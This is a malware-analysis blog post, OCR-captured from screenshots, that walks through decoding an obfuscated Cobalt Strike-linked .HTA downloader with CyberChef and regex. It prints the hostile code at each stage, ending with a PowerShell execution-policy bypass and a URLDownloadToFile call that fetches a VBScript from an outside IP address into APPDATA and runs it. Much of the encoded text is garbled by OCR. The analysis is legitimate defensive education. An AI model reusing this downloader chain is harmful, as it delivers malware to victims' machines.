Decoding a Cobalt Strike Downloader Script With
CyberChef

‘ embeeresearch.io/decoding-a-cobalt-strike-downloader-script-with-cyberchef/

Matthew August 4, 2024

How To Use CyberChef
Decoding a Cobalt Strike script with CyberChef and VsCode.

Matthew
Aug 04, 2024 - 3 min read

Introduction

We recently encountered a short .HTA script on Malware Bazaar that was linked to the
Cobalt Strike toolkit.

The script utilises basic obfuscation that can be removed using CyberChef and a text editor.
This blog will cover our decoding process, including how to decode the following obfuscation
methods

o Base64
e URL Encoding
o Excessive Spacing

Original File

The file used for this analysis can be found on Malware Bazaar at the following link.

2807199adde4730e5e89c5f0ed3d48380dac746a44fale5fe0ca®186743a97e0

Analysis

The .HTA file in it's initial state contains a small amount of HTML followed by a large batch of
URL encoded characters.
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> User Lenny
guage:
<[ --
document.write(unescapﬂ
("%3C%7 3%63%72%69%76%74:%2 I%6C%E61%6E%E67%75%61%67%65%3D%AA%61%76%61%53%63%7 2%69%70%74%3E%6D%3D%27%25%33%43%25%32%31%44%AF %4 3%54%59%50%45%25%
32%30%68%74%6D%6C%25%33%45%25%30%41%25%33%43%6D%65%74%61%25%32%30%68%74%74%70%2D%65%71%75%69%76%25%33%A44%25%3 2%3 2%58%2D%5 5%41%2D%4 3%6 F %6 D%

70%61%74%69%62%6C%65%25%32%32%25%32%30%63%6 F %6 E%74%65%6E%74%25%33%44%25%3 2%3 2%49%A45%25%33%44%45%6D%75%6C%61%74%65%49%A45%38%25%32%32%25%32%

30%25%33%45%25%30%41%25%33%A43%68%74%6D%6C%25%33%45%25%30%41%25%33%43%6 2%6F %64%79%25%33%A45%25%30%41%25%33%43%53%43%5 2%49%50%54%25%32%30%54%
59%70%65%25%33%A44%25%32%3 2%54%65%58%74%2F %76%A42%7 3%A3%52%69%50%74%25%32%32%25%3 3%45%25%30%41%44%49%AD%25%32%30%25%32%30%25%32%30%25%3 2%30%
25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%3 2%30%25%32%30%25%32%30%25%
32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%3 2%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%3 2%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%3 2%30%25%32%30%25%32%30%25%
32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%

The first step to decoding the URL encoded content is to use a tool like CyberChef and the
URL Decode operation.

As can be seen below, this decodes the content but reveals another layer of URL encoding.

Recipe Bl a Input + 0Oz 8=

<script Language='Javascript’>
<l--
document. writt (unescape (' %3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%AA%61%76%61%53 I

%63%72%69%70%747%3 E6D%3D%277%25%33%43%625%3 2763 1 684 %AF 1A 37%587%59%507%4 572 573 243076 87 7 416 D%6C /62 5763 3%4 5
%25%30%417%25%33%A3%6D%65%74%61%25%327%30%68%7 4%74%70%2D%65%71%75%69%7 6%25%33%A4%257%32%32%587%2D%55
%A1%2D%A3%6F2%6D%70%61%7 A%69%6 2%6C%65%25%3 2%3 2%25%32%30%6 3%6 FH6E%T A%6 5 %6 E%74%25%33%AA% 25%3 2%3 2%A9
%A5%25%33%AA%ASK6D%TSH6C%61%7 A%65%A9%A5%38%25%32%32%25%32%30%25%33%45%2 5%30%A1%25%33%A43%68%74%6D
%6C%25%33%A5%25%30%41%25%33%43%62 %6 F 56647%79%25%33%A5%25%30%41%25%33%43%53%A3%52%49%50%54%25%32%30

%54%59%70%65%25%3 3%44%25%32%32%547%65%58%7 4%2 F %67 674 2%7 3%43%52%69%50%74%2 5%32%32%25%33%45%2 57%630%41
%AAKAS%AD%25%32%30%25%32%30%25%32%30%25%3 2%30%25%32%30%25%32%30%25%3 2%30%25%32%30%25%32%30%25%32

URL Decode

mc 105810 = 8 Tr Raw Bytes €= LF

Output / B |_|:| (3

<Script Language='Javascript’>
<I--
document.writd(unescape('<script language=JavaScript>
%3Cmeta%20http-equivi3Dk22X-UA-Compati:
J3EX%OA%3C bOdy%BE%@A%BCS( R IPT%ZOTYpe%B D%22TeXt/vBsCRiPt%22%3E%0ADIMY20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2 0%20%20%20%20% 20%207%20%20
7%207%20%207%207%20%20%207%207%207%20%207%207%20%207%20%207%207%20%207%207%20%207%20%207%20%20%207%20%20%207%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%207%20%20%20%20%20%207%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
7%20%207%207%207%207%20%207%20%207%20%20%207%20%20%207%207%20%20%20%207%20%20%20%20%20%20
%20%20htNXsxCQoquof sUgRMWMChLEjXAWpXJ LgAWSRSUHPLNXVcwIOkkZ j jQLWOIHDUCSE EWbRVBPFALDEWI%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20

%3C%21DOCTYPE%20htm1%3E%0A

The second layer of URL encoding can be resolved with another URL Decode operation.

Applying the filter again removes the last of the URL encoding.
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Recipe ams Input + 0O E =

~

<Script Language='Javascript'>

<l--

document.write(unescape( ' %3C%73%63%72%69%70%74%20%6Ch61%6E%67%7 5%61%67%65%3D%AN%61%7 6%61%53

URL Decode %63%72%69%70%7A%3E%6D%3D%27%2 5%33%43%25%3 2% 31 %AAKAF %A 3%54%59%50%A5%25%3 2% 30%6 8% 7 A%ED%6C%25%33%45
%25%30%A41%25%33%A3%6D%65%74%61%25%32%30%68%74%74%70%2D%65%71%7 5%69%76%25%33%AA4%25%32%32%58%2D%5 5
%A1%2D%A3%6F%6D%70%61%7 4%69%6 246C%65%25%32%32%25%32%30%63 %6 F K6 E%T A% SKOELTA%25%33%AA%25%32%32/A9
%A5%25%33%AA%ASHODKT SBOCHE1%T A%65%AKHASH3I8%25%32%32%25%32%30%2 5%3 3%A5%25%30%A41%25%33%43%68%74%6D
%6C%25%33%A5%25%30%A41%25%33%A4 3%6 2%6F %64%79%25%33%A5%25%30%41%2 5%33%A3%53%A3%5 2%49%50%54%25%32%30
%54%59%70%65%25%33%A4%25%32%3 2%54%65%58%7 A%2F%76%A2%7 3%A3%52%6 9%50%74%25%32%3 2%25%33%A45%25%30%4 1
%AA%A9%AD%25%32%30%25%3 2%30%2 5%32%30%25%3 2%30%25%32%30%25%3 2%3 0%25%3 2%30%25%3 2%30%25%32%30%25%32 v

URL Decode

mc 105818 = 8 Tr Raw Bytes &= LF

Output a r|:| m o

<Script Language='Javascript’>

<1

document.write(unescape('<script language=JavaScript>m="<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >

<html>

<body>

<SCRIPT TYpe="TeXt/vBSCRiPt">

DIM

htNXsxCQoquofsUgRMWMChLE jXAWpxJ LqAWSRSUHpLNxVcwIOkkZ j jQLwolHDUCS EEWbRVBPFAlDeWI

The content can now be moved back to a text editor for additional analysis.

Although the script is removed of URL encoding, the script now employs blobs of spaces to
hinder analysis. This can be seen in the screenshot below.
Language="'Ja

document.write unescape '<scr cript>m="<!DOCTYPE html>
http-equiv="X-UA-Compat

htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAWSRsUHpLNxVcwIOkkZjjQLwolHDUCSEEWbRVBPFA1DeWI

>

zfSjfFzgdMtajrzZfmqinneuyPdOGSMzxHKRWVdBIqfSOlgSNBIdVZQmMFUZzPrsCGbSvfKOFfUVLS1zzp Lots of strange spacing

seT

htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAwWSRsUHpLNxVcwlOkkZjjQLwolHDUCSEEwbRVBPFAlDeWI

CReaTEoBjEcT

The spacing can be removed manually by highlighting and deleting, but a more efficient
means is to use a regular expression to remove occurrences of two or more whitespace
characters \s

By performing a search and replace with the \s\s+ query, we can see the excessive spacing
is highlighted and matched correctly.
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Language="] Aa ab, * 4of62

==

R

document.write unescape i Scri '<!DOCTYPE html>
http-equiv= 0 content="1

* TYpe="
DIM

htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAWSRsUHpLNxVcwIOkkZjjQLwolHDUCSEEwbRVBPFALDeWI

zfSjfFzgdMtajrzfmqInneuyPdOGSMzxHKRWVAdBIqfSO1gSNBIdVZQmMFUzPrsCGbSvfKOFfUVLS1zzp

seT

htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAwWSRsUHpLNxVcwIOkkZjjQLwolHDUCSEEwbRVBPFALDeWI

CReaTEOBjEcT

By specifying a replace value of a single space, the content can be cleaned up significantly.
The script content can now fit easily into a single screenshot.

guage="Java
<l--
document.write unescape i i '<IDOCTYPE html>
http-equiv=

TYpe= Xt 1 t
DIM htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAWSRsUHpLNxVcwIOkkZjjQLwolHDUCSEEwWbRVBPFALDeWI ,
zfSjfFzgdMtajrzfmqInneuyPdOGSMzxHKRWVdBIqfSO1gSNBIdVZQmMFUZzPrsCGbSvfKOfUVLS1zzp : seT
htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAwSRsUHpLNxVcwIOkkZjjQLwolHDUCSEEwbRVBPFALDeWI = CReaTEoBjEcT ChrW(&H77) & "scrIpT.sHEL1"
zfSjfFzgdMtajrzfmqIinneuyPdOGSMzxHKRWVdBIqfSO1gSNBIdVZQmMFUZzPrsCGbSvfKOfUVLS1zzp = “"poweRSHell -eX BYpASs -nOp -w 1 -c
DEVICECREdEntIA1DEpLOYmMENt ; IEx($(iEX('[systEM.tEXT.eNCOdINg]' [ChAR]@X3a [ChaR]@x3A 'utF8.GeTString([systeM.cOnVerT]' [CHar]@x3A [chAR]
58 'frOmbAsE64sTrInG(' [CHAr]ex22
' JHVXYVVIWJNLTWOCICAgICAgICAgICAgICAgICAgICAgICAgICAgICASICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZGQtVF1QZSAgICAgICAgICAgICAgICAgICAgICAGT
CAgICAgLU11TUI1UKRFZmluSVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgGICAgICAbRGXSSW1wb3IOKCIVUMXtb24uZGXxMIiwgICAgICAgICAgICAgICAgICAgICAgICAGICA
gIENOYXJTZXQgPSBDaGFyU2VeL1VuaWNvZGUpXXB1YmxpYyBzdGF@aWMgZXhezXJuIEludFBOciBVUkxEb3dubGOhZFRVRM1sZShIbnRQAHIgICAgICAgICAgICAgICAgICAgICAEI
CAgICAgIHlyT1pLTnRWYVAsc3RyaWSnICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtalhwa@FOVNZiLHNecmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCGtMTIWS
sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYUFFc2FyWCxIbnRQAHIgICAgICAgICAgICAgICAgICAGICAgICAgGICAgIGAtSFVPAW1ITCk7IyAgICAgICAGICAgICAGT
CAgICAgICAgICAgICAgLWSBbUUEICAgGICAgGICAgICAgICAgICAgICAgICAgICAgICICU3hrUVdKemUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTMFNRVNQQUNLIICAEICA
gICAgICAgICAgICAgICAgICAgICAgICBIbWXUWKIMICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFZc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgGICAGICAKAXFhV
UlaMe@tNb@I601VSTERvA25sb2FkVG9GaWx1KDAsImh@dHA6LY8XOTguNDYuMTc4LJEBNCOtb3JuaW5nZmlsZWRhdGluZ2xvdmVyLnZicyIsIiRFTnY6QVBQREFUQVXtb3JuaW5nZml
sZWRhdGluZ2xvdmVyLnZCUyIsMCwwKTtzVGFSdC1TbGV1UCgzKTtzdGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTNY6QVBQREFUQVXtb3JuaWsnZmlsZWRhdGluzZ
2xvdmVyLnZCUyI=' [CHaR]34 '))')))" : htNXsxCQoquofsUgRMwMChLEjXAWpxJLgAwSRsUHpLNxVcwIOkkZjjQLwolHDUCSEEWbRVBPFAlDeWI.run CHr ( 34 ) &
htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAwSRsSUHpLNXxVcwIOkkZjjQLwolHDUCSEEWbRVBPFA1DeWI . expAndEnviRONmentStRINGs( ChrW(&H25) & Chr(&H43) & ChrW(&
H4F) & ChrW(&H6D) & Chr(&H53) & ChrW(&H58) & Chr(&H65) & Chr(&H43) & Chr(&H25) ) & CHr ( 34 ) & cHr ( 34 ) & ChrW(&H2F) & Chr(&H43) & ChriW
&H20) & zfSjfFzgdMtajrzfmqIlnneuyPdOGSMzxHKRWVdBIqfSOlgSNBIdVZQmMFUzPrsCGbSvfKOfUVLS1zzp & CHr 34 , © @ SET
htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAWSRSUHpLNxVcwIOkkZj wolHDUCSEEwbRVBPFA1DeWI = NOThiNG
SeLF.CLoSe

A large blob of base64 content can be seen in the resulting content. This is alongside the key
giveaway of frombase64string with random upper and lower casing.
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TYpe= vBsCR1iPt
DIM htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAWSRsUHpLNxVcwIOkkZjjQLwolHDUCSEEWbRVBPFA1DeWI ,
zfSjfFzgdMtajrZzfmqinneuyPdOGSMzxHKRWVdBIqfSO1gSNBIdVZQmMFUzPrsCGbSvfKOfUVLS1zzp : seT
htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAWSRsUHpLNxVcwIOkkZjjQLwolHDUCSEEwbRVBPFALDeWI CReaTEoBjEcT ( ChrW(&H77) & "scrIpT.sHE11l"
zfSjfFzgdMtajrzfmqinneuyPdOGSMzxHKRWVdBIqfSO1gSNBIdVZQmMFUZzPrsCGbSvfKOfUVLS1zzp = "poweRSHell -eX BYpASs -nOp -w 1 -c
systEM.tEXT.eNCOdINg]' [ChAR]@X3a [ChaR]@x3A 'utF8.GeTString([systeM.cOnVerT]' [CHar]@x3A [chAR]

=
58 'frOmbAsE64sTrInG(' [CHAr]ex22
* JHVXYVVIWINLTWOCICAgICAgICAgICAgICAG: CAgICAgICAgICAgICA9ICAgICAgICAgICAgICAGICAgICAgGICAgICAgICBhZGQtVF1QZSAgICAGICAgICAgICAgICAgICAGICAGT
CABICABLULIITUS IURKRT ZilluSVRpTZ4EICARICREICAgICAgICAgICAgICAgICAgICAgICdbRGXSSW1wb3I@KCIVUMXtb24uZGXMIiwg ICAgICAgICAgICAgICAgICAgICAgICAEICA
gIENOYXJITZXQgPSBDaGFyU2VeL1VuakWNvZGUpXXB1YmxpYyBzdGF@aWMgZXh@zXIuIEludFBeciBVUkxEb3dubGOhZFRVRM1sZShIbnRQAHIgICAgICAgICAgICAgICAgICAgICAGI
CAgICAgIH1yT1pLTnRWYVAsc3RyaWSnICAgICAgICAgICAgICAgICAgICAgGICAgICAgICBtalhwaBFOVnZilHNOcmluZyAgICAgICAgICAgICAGICAgICAgGICAgICAgICAgCGtMTWS

sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYUFFc2FyWCxIbnRQAHIgICAgICAgICAgICAgICAgICAGICAGICAgICAgIGAtSFVPAW1ITCk7IyAgICAgICAgICAgICAGT
CAgICAgICAgICAgICAgLWSBbUUGICAgICAgICAgICAgICAgICAGICAGICAGICAgICICU3hrUVdKemUiICAgICAgICAgGICAgICAgICAgICAgICAgICAgICAtTMFNRVNQQUNLIICAGICA
gICAgICAgICAgICAgICAgICAgICAgICBIbWXUNKIMICAgGICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFZc1RocNU7ICAgICAgICAgICAgICAgICAGICAGICAGICAGICAKAXFhY
UlaMetNb@I601VSTERvVA25sb2FkVG9GaWx1KDAs Imh@dHAGELY8XOTguNDYuMTc4LjEONCItb3JuaW5nZmlsZWRhdGluZ2xvdmVyLnZicyIsIiRFTnY6QVBQREFUQVxtb3JuaWsnzZml
sZWRhdGluZ2xvdmVyLnZCUyIsMCwwKTtzVGFSdC1TbGV1UCgzKTtzdGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVXtb3JuaWsnZmlsZWRhdGluZ
2xvdmVyLnZCUyI=" [CHaR]34 '))')))" htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAwWSRsUHpLNxVcwlOkkZjjQLwolHDUCSEEWbRVBPFALDeWI. run CHr 34 ) &
htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAWSRsUHpLNxVcwIOkkZjjQLwolHDUCSEEwbRVBPFALDeWI . expAndEnviRONmentStRINGs ( ChriW(&H25) & Chr(&H43) & ChrW(&
H4F) & ChrW(&H6D) & Chr(&H53) & ChrW(&H50) & Chr(&H65) & Chr(&H43) & Chr(&H25) ) & CHr ( 34 ) & cHr ( 34 ) & ChrW(&H2F) & Chr(&H43) & ChriW
&H20) & zfSjfFzgdMtajrZfmqlnneuyPdOGSMzxHKRWVdBIqfSO1gSNBIdVZQmMFUZzPrsCGbSvfKOfUVLS1zzp & CHr 34 » @ & dar
htNXsxCQoquofsUgRMWMChLEjXAWpxJLgAWSRsUHpLNxVcwIOkkZjjQLwolHDUCSEEwbRVBPFALDeWI = NOThiNG

SeLF.CLoSe

The base64 blob can be copied and decoded in CyberChef using From Base64

Recipe om s Input + D3 W=

JHVXYWIWNLTWOCICAgICAEICAGI CAETCAgICAEICAGTCAgICAGICAIT CAGICAGICAGICAgI CAGICAGICAEICAEICAEICBhZG
QtVF1QZSAgICAgICAGICAI CAGICAGICAEICAETICAEICAELUL1TUI1UKRFZMIUSVRPT 248 ICAGICAGT CAGICAGICAGICAGICAg
Alphabet ICAgICAgICAbRGXSSW1wb3JOKCIVUMXtb24uZGXMIiwgICAgICAEICAEICAZICAgICAEICAEICAgICAEIENOYXITZXQgPSBDaG
A-Za-20-9+/= - FyU2VeL1VuaWNvZGUpXXB1YmxpYyBzdGF@aWMgzXxhezXJuIEludFBeciBVUkXEb3dubGohZFRVRM1sZShIbnRQAHIEICAEICAE
ICAGICAGICAGICAGICAGICAGICAGIH1yT1pLTNRWYVASC3RyaW5nICAgICAgICAGICAGICAGI CAgICAGICAGICAgICBtalhwao
FOVNnZiLHNOcmluZyAgICAgICAgICAgICAGICAZICAgICAZICAGICAgCGtMTWS sdWludCAgICAGICAgICAgGICAZICAZICAZICAS
Remove non-alphabet chars D Strict mode ICAgICAgYUFFC2FyWCXIbnRQAHIGICAGICAEICAGICAgICAgICAEGICAEICAEICAEIGAtSFVPAW1ITCk7IyAgICAgICAgGICAEIC
AgICAEICAEICAEICAEICAGLWSBbUUETCAEICAETICAEICAETICAET CAGICAGICAEICAEICICU3hruVdKemUiICAgICAEICAGICAE
ICAgICAgICAEICAEICAgICAtTMFNRVNQQUNIICAZICAEICAgICAEICAEICAZICAEICAEICAETCBI blixUWKIMICAgICAEICAEIC
AgICABICAEICAgICAGICAGICAtUGFZc1ROCNU7ICAGICAGICAGICAGICAGICABICAGICAGICAGICAkdXFhvUlaMatNboTI601vs
TERvd25sb2FkVG9GaWx1KDAsImhodHAGLY8XOTguNDYUMTcALJEONCOtb3JualsnZml sZWRhdGluZ2xvdmVyLnZicyISTiRFTn
Y6QVBQREFUQVXxtb3JuawsnZmlsZWRhdGluz2xvdmvyLnZCUyIsMCwwKTtzVGFSAC1TbGV1UCgzKTtzdGFSVCAgICAGICAGICAE
ICAgICAGICABICAEICAgICAGIiRFTNY6QVBQREFUQVXtEb3JuaWsnZmlsZWRhdGluz2xvdmVyLnZCUyI=

From Base64

mc 1256 = 1 Tr Raw Bytes €= LF
OQutput a rD Mm o
$uqauIZ3KMoB = add-Type
-MeMBeRDEfinITion ' [D11Import ("URLmon.d1L",
Charset = cCharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr
yrozZKNtvaP, string mkXpkANVVD, string
pkfMk,uint aAEsarX, Intptr
gmHUOULIL); " -nAmE "BSxkQwlre"
-NaMESPACe ImlTZBL

-PassThru; $uqaUIZ3KMOoB: :URLDownloadToFile(®, "http://198.46.178.144

/morningfiledatinglover.vbs™, "$ENv:APPDATA\morningfiledatinglover.vBS",0,0);sTaRt-SleeP(3);staRT
"$ENv:APPDATA\morningfiledatinglover.vBs"

The resulting content contains more excessive spacing. The same regular expression
technique as before can be re-applied to fix this.

Below we can see the From Base64 operation and the removal of excessive spacing via
regex.
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Recipe

From Base64
Alphabet

A-Za-z08-9+/=

Remove non-alphabet chars D Strict mode

Find / Replace
Find Replace

\s\s+ REGEX ¥

Global match D Case insensitive

Multiline matching D Dot matches all

TrTTTT vy I R -
Input + O35 8 =

JHVXYVVIWINLTWOCICAgICAgICAICAT CAgICAgICAGICARICAGICA9I CAEICAEICAEICAEICAGICARICAgICAGICAEICBhZG
QtVF1QZSAgICAGICAGICAEICAGICAEICAEGICAGICAGICAGLUL1TUIIUKRFZmlUSVRPT24gTCAgICAGICAGICAGTCAGICAGICAG
ICAgICAgICAbRGXSSW1wb3IOKCIVUMXtb24uzZGXMI iwgICAEICAEICAET CATCAgICAgTCAZICAEICAEI ENOYXITZXQgPSBDaG
FyU2VoL1VuaWNvZGUpXXB1YmxpYyBzdGF @aWMgzxhezXJuIl EludFBociBVUkxEb3dubGohZFRVRmMLsZShIbnRQAHIgICAEICAE
ICAGICAGICAGICAGICAGICAGICAGIH1YT1pLTNRWYVASC3RYaWsSnICAgI CAGICAgICAgICAGICAGICAEICAgICAgICBtalhwao
FOVNZiLHNOcmluZyAgICAgICAgICAgICAgICAGICAgICAGICAgICAgCcGtmTWs sdWludCAgICAgICAgICAgICAGICAgICAgICAG
ICAgICAEYUFFC2FYWCxIbnRQAHIGICAGI CAGICAEICAGICAGICAGICAET CAGICAEIGAtSFVPAW1 ITCk7IyAgICAGICAEICAEIC
AgICAgICAgICAgICAEICAELWSBbUUEICAEICAZICAEGICAGICAGICAETICAGICAEICAGICICU3hrUVdKemUiICAEICAGICAEICAE
ICAgICAICAEI CAgTCAgICAtTMFNRVNQQUN] ICAgICAgICAEICAEICAET CAETCAEICAETCAZTCBIbWXUWKIMICAEICAEICAEIC
ABICAgICAgICAGICAGICAEICATUGFZC1ROCNU7ICAGICAGICAGICAGTCAGICARICAGICABICAGICAkdXFhvUlaMatNbo1601Vs
TERvd25sb2FkVGoGalx1KDAsImhOdHAGL y8x0TguNDYUMTc4L jEONCOtb3JualWsnZml sZWRhdGluZ2xvdmVyLnZicyISTiRFTn
Y6QVBQREFUQVxtb3JuaWsnZmlsZWRhdG1luz2xvdmVyLnZCUyIsMCwwKTtzZVGFSAC1TbGY1UCgzKTtzdGF SVCAGICAGICAEICAE
ICAGICAgICAgICAgICAgICAGIiRFTNY6QVBQREFUQVXtb3JuaWsnZmlsZWRhdGluz2xvdmvyLnZCUyI=

ac 1256 = 1 Tr Raw Bytes €= LF

Output a I—D Mm o
$uqaUIZ3KMoB = add-TYPe -MeMBeRDEfinITion '[DllImport(“"URImon.dlL", CharSet =
Charset.Unicode) Jpublic static extern IntPtr URLDownloadToFile(IntPtr yrOzZKNtvaP,string

. g . .t oAnE "Bedlounre" _novEcpace Talize
-PassThru; $uqaUIZ3KMoB::URLDownloadToFile(®,"http://198.46.178.144

/morningfiledatinglover.vbs","$ENv:APPDATA\morningfiledatinglover.vBS",0,0);sTaRt-SleeP(3); staRT
"$ENv:APPDATA\morningfiledatinglover.vBS"

After the spacing is removed, it becomes clear that the code is a downloader utilising the

URLDownloadToFile function.

The address of the next stage file is also clearly visible, and contains the value
http://198.46[.]178.144/morningfiledatinglover|[.]vbs

-PassThru; $uqaUIZ3KMoB: :URLDownloadToFile(®,
0,0);sTaRt-SleeP(3);staRT or
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https://twitter.com/intent/tweet?url=https://www.embeeresearch.io/decoding-a-cobalt-strike-downloader-script-with-cyberchef/&text=Decoding%20a%20Cobalt%20Strike%20Downloader%20Script%20With%20CyberChef
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https://www.linkedin.com/shareArticle?mini=true&url=https://www.embeeresearch.io/decoding-a-cobalt-strike-downloader-script-with-cyberchef/&title=Decoding%20a%20Cobalt%20Strike%20Downloader%20Script%20With%20CyberChef

